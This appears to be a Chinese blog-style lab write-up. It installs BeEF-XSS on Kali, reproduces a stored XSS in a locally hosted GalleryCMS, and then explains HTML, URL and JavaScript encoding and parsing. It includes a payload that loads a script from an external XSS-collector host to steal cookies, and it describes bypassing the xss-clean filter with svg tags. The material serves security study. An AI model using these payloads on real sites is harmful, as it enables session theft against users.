在kali上线安装一下beef-xss
1.在命令行中输入
apt install beef-xss
2.安装成功后,直接运行就可以了
beef-xss
3.使用浏览器访问,在输入框中输入
192.168.121.135:3000/ui/panel
然后输入账号和密码,默认账号就是beef,密码是自己设置的密码。
搭建galleryCMS的服务器。
1.将解压包解压到phpstudy_pro/WWW目录下面,找到文件application/config/database.php文件,修改文件中的数据库的用户名和密码为自己本机上的用户名和密码一样。
2.打开服务器和数据库,新增一个网站,将解压的GalleryCMS了路径放到根目录下面,域名设置为文件名。重启Apache服务和MySQL。
复现实验
首先在创建新相册名字的时候,随意输出,
F12看到 刚刚输入的值传到了a标签里面
观察源文档,直接输出URL的地址,用的是add方法,过滤了两端的空格,默认了必须填写,默认长度为45。使用xss-clean
将xss-clean删掉,再创建名称出填写:< script >标签。

说明可以使用js代码。
为了获取到对方的cookie,尝试使用>$.getScript(“//trlsm.xss.ht”),

在源码当中我们规定的最长字符长度是:35

xss-clean过滤了很多标签,但没有过滤掉< svg >标签,所以使用< svg>标签进行一个测试。

也就是可以找到一个svg的标签,来进行绕过。
这些个必备的命令已经有29个字符了,只能将域名缩短。

—————————————————————————————————
首先先明确关键点:服务器在解析编码的时候,首先解析的是HTML实体编码,然后解析URL编码,编码在最后解析。
1、HTML实体编码
一个HTML解析器作为一个状态机,他从输入流中获取字符并且按照转换规则转换到另一种状态。在解析的过程中会经过4个状态分别是
1)标签开始状态
2)标签名状态
3)前属性名状态
4)数据状态
2、字符实体
字符实体是一个转义序列,他定义了一班无法在文本内容中输入的单个字符或符号。一个字符实体是以&开始,后面跟着一个预定义的实体名称,或者是一个#以及字符的十进制数字。
3、HTML字符实体编码
在HTML中,默写字符是预留的,比如说html中不可以使用“<”和“>”;因为浏览器可能会误认他们是标签的开始或者结束。所以在html中应该使用对应的字符实体。在HTML实体编码中可能有一些字符是没有实体名称的,但是我们可以用实体编号来引用。
4、字符引用
字符引用包括字符值引用和字符实体引用;字符值医用对应这符号的实体编号,而字符实体引用对应的是实体名。字符实体引用也被叫做“实体引用”或者“实体”。
HTML中的五类元素
1)空元素;不能容纳任何内容(因为他们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)比如说< area >,< br>,< base >等等
2)原始文本元素;原始文本元素是可以容纳文本的。有< script>,< style >
3)RCDATA元素,可以容纳文本和字符引用。有< textarea >和< title >
4)外部元素;可以痛啊文本,字符引用,CDATA段以及其他元素注释。例如MathML命名空间或者SVG命名空间的元素
5)基本元素;可以容纳文本、字符引用,其他元素和注释;也就是除了以上4种以外的元素。
5、URL解析
URL解析器也是一个状态机模型,从输入流中进来的字符可以引导URL解析器转换到不同的状态;
URL资源类型必须是ASCII字母,不然就会进入“无类型”状态。简单来说就是不可以将协议也写成编码;并且在URL编码过程中使用utf-8编码类型来编码每一个字符,如果尝试将URL连接做了其他编码类型的编码,URL解析器就不会正确识别。
6、JavaScript解析
JavaScript解析过程与HTML解析过程有点不一样。JavaScript语言是一门内容关于语言无关的语言。
像\uXXXX一样的字符被称作Unicode转义序列。可以将转义序列分为3个部分:分别是:
1)字符串中:当Unicode转义序列存在再字符串中的时候,他只会被解释为正规字符,而不是单引号,双引号等一些其他能够打破字符串上下文的字符。
2)标识符名称:他会被解码解释为标识符名称的一部分。
3)控制字符:例如单引号、双引号、括号等都不会被解释成控制字符,而被解码并解析为表示符名称或字符串常量。